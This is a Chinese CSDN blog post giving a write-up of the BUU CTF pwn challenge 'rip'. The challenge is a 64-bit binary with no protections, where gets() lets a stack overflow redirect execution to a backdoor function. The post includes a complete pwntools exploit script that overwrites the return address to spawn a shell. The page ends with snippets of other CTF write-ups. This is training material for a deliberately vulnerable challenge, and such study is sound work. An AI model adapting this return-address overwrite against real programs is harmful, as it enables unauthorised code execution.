BUU CTF PWN rip WriteUp

m0sway

已于 2023-04-04 09:18:29 修改

阅读量5k

点赞数

分类专栏： BUU-PWN 文章标签：网络安全 pwn 信息安全 python WriteUp

于 2022-02-25 10:53:18 首次发布

本文链接：https://blog.csdn.net/m0sway/article/details/123128113

版权

BUU-PWN 专栏收录该内容

58 篇文章 0 订阅

订阅专栏

rip

使用checksec查看：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q0zlaOVX-1645757364144)(rip.assets/image-20220225104328732.png)]
保护措施全部关闭。

放进IDA中分析：
在这里插入图片描述

gets()：存在栈溢出

fun()：
在这里插入图片描述

存在后门函数

步骤解析

s 距离 rbp 0xF，无canary，直接覆盖即可

完整exp

from pwn import *

p = process("../buu/rip")
# p = remote("node4.buuoj.cn",27965)

elf = ELF("../buu/rip")
fun_addr = elf.symbols['fun']
payload = b'M' * (0xF + 8) + p64(fun_addr-1) +p64(fun_addr)
p.sendline(payload)

p.interactive()

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

m0sway

关注关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
BUU CTF PWN rip WriteUp

BUU CTF PWN题rip的WriteUp
复制链接

扫一扫

专栏目录

BUUCTF-WriteUp

鱼的博客

02-01

714

title: BUUCTF WriteUp date: 2021-01-16 17:44:59 tags: CTF WriteUP WEB [HCTF 2018]WarmUp 启动环境，打开网址是一张滑稽，没什么用，看一下源码，发现有注释。访问source.php，直接给了源码，进行代码审计。分两块，第一块是emmm::checkFile，里面做了一些判断。第二块是一个include，文件包含，我们要绕过验证，也就是上面的checkFile方法。 hint.php include触发的三个判断.

2021-09-20 BUUCTF WriteUP(堆/字符串/栈)

m0_56897090的博客

09-20

609

文章目录堆类综合模型总结pwnable_hacknote分析EXPhitcontraining_bamboobox分析EXPnpuctf_2020_easyheap分析EXPciscn_2019_es_1分析EXPhitcontraining_unlink分析EXPgyctf_2020_some_thing_exceting分析EXP栈溢出综合模型总结picoctf_2018_shellcode分析EXPjarvisoj_level5分析EXPcmcc_pwnme2分析EXPactf_2019_babyst

参与评论您还未登录，请先登录后发表或查看评论

BUUCTF刷题之路-rip1

qq_30528603的博客

05-25

1322

因为A存入内存是以ASCLL码形式存在 0x41就是A，我们填入的15个A已经在栈上了，而且返回地址就是401100，我们要做的就是覆盖这个返回地址，指向我们的后门函数fun，至此这题就完成了。让我们能得到一个shell.那我们就找一下这个fun函数的地址，因为题目没有开启PIE，所以程序每次加载的地址都是不变的。可以看到保护基本没开，是个很简单的栈溢出题目。左边这都是函数，带下划线的一般是系统提供的函数，我们分析前可以大致看看有哪些函数，都干了什么，对整体布局有个了解，我们一开始都回去分析main函数。

【Writeup】BUUCTF_Pwn_RIP覆盖一下

BAKUMANSEC - Just Do It

08-17

3862

0x01 解题思路查看文件信息没什么防护措施的ELF64文件。拖入IDA x64，F5 显然可以通过栈溢出覆盖RIP。发现命令执行函数地址为0x401186 利用peda计算输入点距离RIP的偏移值得出偏移量是23。现在就可以写出覆盖RIP执行fun函数的EXP了。 0x02 EXP from pwn import * io=0 ...

buuoj re逆向33-48题writeup(截图+c++源码+过程)

weixin_51275728的博客

12-07

1万+

Re 33-4833 xxor34xor35 hello_world_go36 igniteme37 level338 crossfun39 overlong41 orgua40 BJD hamburger competiton42 challenge43 base-re44 easy strcmp45 UniverseFinalAnswer46 crackMe47 level448 singal 33 xxor 33 xxor 简单的二重循环，然后比较。记得把数据换成unsigned不然就是不行 #in

BUUCTF笔记之Web系列部分WriteUp（五）

克格莫

07-23

3497

1.[GWCTF 2019]枯燥的抽奖查看源码得到check.php，访问得到代码： <?php #这不是抽奖程序的源代码！不许看！ header("Content-Type: text/html;charset=utf-8"); session_start(); if(!isset($_SESSION['seed'])){ $_SESSION['seed']=rand(0,999999999); } mt_srand($_SESSION['seed']); $str_long1 = "abcdef

apachecn#apachecn-ctf-wiki#[WP／BUU／CTF]Cookie-Store-题解_車鈊的博客-CSD

07-25

来源：，涉及Cookie的使用方法操作方

BUU 论坛的编辑器163Editor

09-21

"BUU 论坛的编辑器163Editor"是一个专为BUU论坛设计的文本编辑工具，它可能集成了丰富的富文本编辑功能，让用户在论坛发帖或回帖时可以方便地添加格式化文本、图片、链接等元素，提升交互体验。"DianUbb.rar"是这个...

2020年网鼎杯青龙组赛题.zip

05-10

比赛试题附件，其中包括misc，re，crypto，pwn,这些资源仅供学习参考，禁止用于盈利活动。希望大家可以合理利用，谢谢。

POSN:POSN-BUU的源代码

04-01

POSN-BUU可能是该系统的一个特定实现或者模块，主要用于处理BUU（Base Unit Unit，基本单元）相关的定位任务。这个源代码是用C++编程语言编写的，C++是一种通用且高效的编程语言，特别适合开发对性能要求高的系统...

Majin Buu Top HD Anime New Tabs Theme-crx插件

03-15

每次打开一个新选项卡，您将获得Majin Buu提供的不同高清壁纸这个新主题包括时钟等等。魔鬼的布欧（the devil，Buu），日本动漫《七龙珠》中的义与恶的角色，是《七龙珠》综合实力最强的BOSS。这个名字来自电影...

BUU-CTF——WP（MISC[21~n]）

hahaha233330的博客

10-06

1193

挑战BUU，贴一下网址：BUU-CTF MISC 继续~ 在线工具：Ook!、brainfuck转字符 21. FLAG 22. 另外一个世界拖入010editor，拉到最后发现：01101011011011110110010101101011011010100011001101110011 二进制转字符串得到flag。 23. 假如给我三天光明看最下面一排，感觉是盲文，去找盲文表对照即可得到密码kmdonowg。解压后得到音频文件，拖入Audacity，猜测对应摩斯密码：-.-. - …-.

第五空间部分Writeup

SkYe's Blog

06-26

609

twice 分析保护情况 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) 漏洞函数程序一共有两次输入的机会，第一次输入长度为 0x50+9 ；第二次输入长度为：0x50+0x20 。存储字符串的变量 s 距离 rbp 是 0x60 ，也就是第二次输入是栈溢出，溢出长度仅可覆盖 rip 。输入处理函数： __

BUUCTF PWN rip1 WP

m0_54262894的博客

07-31

2507

BUUCTF PWN rip 1 这是一个WP，也是一个自己练习过程的记录。先把文件放入pwn机中检查一下，发现并没有开启保护，所以应该是一道简单题我们运行一下试试，它让你输入一段字符然后将字符输出。把文件放在ida中查看一下发现main函数并不复杂，只是定义了一个 s ，而且我们很容易就能找到栈溢出的点，我们都知道gets函数是一个危险函数，对于我们来说它可以接受到无限的字符，所以这里就是我们要pwn掉的点。我们双击 s ，看它有多少空...

BUUCTF (PWN) RIP详细分析

qy201706的博客

04-08

1万+

很简单的栈溢出，不过对于栈溢出具体过程不理解的会卡的很惨；由于初学嘛，就看了网上的wp，好像都是之前版本的，现在用就不太对，可能我入坑BUUCTF比较晚，现在用的题都是运行在Ubuntu18上的，故需要考虑堆栈平衡~~

BUUCTF web writeup